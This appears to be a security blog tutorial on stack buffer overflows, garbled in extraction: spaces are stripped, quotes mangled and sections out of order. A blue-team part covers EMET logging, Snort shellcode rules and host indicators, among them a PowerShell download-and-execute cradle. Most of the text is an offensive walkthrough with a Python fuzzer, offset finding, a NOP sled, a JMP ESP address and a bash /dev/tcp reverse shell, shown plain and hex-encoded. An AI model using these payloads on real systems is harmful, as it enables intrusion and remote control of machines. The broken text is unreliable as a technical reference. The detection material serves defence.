are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

(readplt)withthevulnerabilitycalledandcaninferthatthebufferallocationbeforethatisusedforthefunctioncallInthiscase1036

availablebytesLetrsquosbreakthatdown

1036bytesforthebuffer+4bytesforEBP+4bytesforEIP(InstructionPointer)

AnotherimportantpieceofthepuzzleistoldquoFindrdquothecodethatyoujustputintothebufferInourexamplethatwillbeabunchofArsquos

thatweuseduringfuzzingHoweverasweprogresstheArsquoswillgetreplacedwithmalwarebecauseabunchofArsquosarentthatuseful

outsidethecontextoflearning

Afterwefindthecodewewanttobesurethatthecomputerwillldquomove-alongrdquountilitgetstowhateverdataweputintothebufferThe

reasonforthisisbecauseknowingldquoexactlyrdquowherethecomputerputsourArsquosBrsquosandCrsquosishardWemightoverwriteallthoseldquoArsquosrdquo

ldquoBrsquosrdquoandldquoCrsquosrdquobutfindingtheexactmemorylocationthecomputerdecidestoputtheminisnotalwaysviablebecausememory

locationsmovearoundabitPluswewanttomakesurethatthecomputerdoesnrsquotexitorterminateexecutionbeforeitgetstotheBrsquosor

laterourldquomalwarerdquo

Themostbasictechniquetoaddressthisiswithx90NOP(nooperation)WereplaceourArsquos(x41)withx90andthattellsthe

computertojustldquomovealongrdquountilyougettothenextinstructionAsanoobitgivesusabiglandingpadtofindLookbelowatthe

pictureaboveandyoursquollseeanarrowthatpointsbacktotheldquoBufferrdquowithabunchofx90sThismeanswewillputaninstructioninto

IPEIPthatreturnsthecomputerbacktothebufferandtheRETURNwilllandintoabunchofNOPSandthenslidedownintotheBrsquosin

ourprogram

Thefollowingtwopicturesreallyputeverythingintoperspectiveformeignorethebuffersizenumbers

EnoughtheoryshowmeTheCode

DisablingDEPASLR

YoumustdisableASLRandDEPonalabmachinetolearnthebasicbufferoverflow

ASLR-Linux

echo0|sudoteeprocsyskernelrandomize_va_spaceDEPPassedascommandlineargumentinMakefileoratgcccommandline

-fstack-protector-Waexecstack

Onax86linuxarchitecturewithDEPASLRdisabledhellipLetrsquosgiveitashotfirstwersquollrunthevulnerableserverPoCwithinGDB

compilesthevulnerableCprogramwithanumberofprotectionsremovedDisabling-fstack-protectorremovessomemodernprotectionagainstoverwritingtheinstructionpointerLetrsquosdeferuntillaterexecstackwillmarkbinaryorsharedlibraryasrequiringexecutablestackMakefileallor

gcc-gvulnServerc-fno-stack-protector-z-Waexecstack-oServergdbServer1337

OkaysothevulnerableTCPserverisloadedintoGDBGDBisadebuggertogiveasaccessintothememoryregistersassemblyetcetcIfyourefamiliarwithwebdevelopmentlikeIwastheconceptofsettingbreakpointsatdifferentmomentsinthecodewasveryfamiliarItseemsintimidatingbutareallygoodcheatsheetishere

GDBCheatSheet

httpswwwcheatographycomfristlecheat-sheetsclosed-source-debugging-with-gdbFromtheterminaltype

run1337

NowitrsquostimetoldquoFuzzrdquoWealreadywentthroughsometheoryandrationalebeforebutitwasnrsquotdescribedinandend-to-endtypeofcontextArefresherhellipldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfyourememberIprovidedsomesimplecommandstoillustratetheexampleForthisapplicationwecandoitcompletelyhandsonpython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]Sowecouldapproachthisacoupleofways

1 Gobackintothereversedengineeredbinariesandtrytodeterminewhatourbuffersizeisthroughthesourcecodeandassembly

2 RuntheprogramthroughthrewGDBandsetbreakpointsandfindops-codethatindicateBUFFERvariablesize3 Writeaniterativefuzzingscripttofindtheoverflowpoint

WritingthefuzzingscriptwasthebestlearningexerciseformeSowersquoregoingtocoverthatherequicklyLetrsquosstartwithgeneratingabunchofdatawiththecommandbelowIrsquomgoingtojustincreasethenumberofAsby10threetimes Examplepython-cprintx41overflowpython-cprintx4110python-cprintx4120python-cprintx4130

AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30

bufferappend(Acounter)counter=counter+200

forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)

ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)

MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize

DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100

MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger

print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes

forstringinMESSAGE

defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw

print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)

sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver

HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos

ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters

WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks

Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550

Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)

LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo

EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368

LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened

ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway

WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther

python-cprintx41366+x42366+x43184+x4462+x4562+x4662

AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer

Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip

python-cprintx411000+x4225+x4325+x4425+x4525

That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere

up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that

mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos

python-cprintx411000+x4225+x438+x448+x459

Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers

are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens

python-cprintx411000+x4225+x438+x448+x454+x464

Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore

onestepaway

python-cprintx411000+x4225+x438+x447+x454+x464

BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer

Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the

crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to

find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer

to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because

Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from

right-to-leftrelativetotheorderyousuppliedthedata

FindingInstructionPointerthefastway

Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your

taught to use this program without learning the manual way then you may not understand what and why exactly you are using the

program

httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb

Soourfuzzertoldusthecrashhappenedatapproximately1100bytes

rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb

rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100

This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this

command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers

and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb

outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP

Example

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0

Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6

Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7

Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1

Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2

Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf

4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk

YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236

Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP

value

usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236

Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis

python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample

Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands

Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a

bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode

python-cprintx901040+x454+x904

Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs

Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect

thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545

MESSAGE=x901040+x454+x901000

Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly

x45454545

Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our

NOPSletsruntheattackwiththefollowinglogicintheclientpy

MESSAGE=x901040+x454+x901000

Letrsquosswitchsomethingsupandtryanewdebuggerhellip

1 Server1337

2 Fromterminal2rarredb

3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo

4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)

5 UpdateyourclientPoCcode

6 pythonclientPoCpy1337

CodeChanges

malware=(x41100)

eip=x424

ending=x90200

nopsled=(x90(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly

Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand

corner

Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points

to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At

memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware

Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump

intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor

aJMPESPopcodetofindamemorylocationwiththatinstruction

1 runthevulnerableserver

2 startupedbdebuggerandattackthevulnerableserver

3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP

4 Manuallysearchthrougheachloadedbinaryandclicksearch

0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU

tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder

So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the

futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun

Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow

binsh-igtampdevtcp12700144440gtamp1

Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in

one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It

lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)

The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate

a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and

not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there

isanaddedlayerofcomplexity

LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes

ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs

NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general

sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as

register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often

abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine

codeinstructionsrdquo

So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But

when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing

the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work

helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos

So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters

commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it

any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the

registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip

PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip

binsh-igtampdevtcp12700144440gtamp1

encodesto

x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x

2fx34x34x34x34x20x30x3ex26x31

Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly

from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a

simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX

To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86

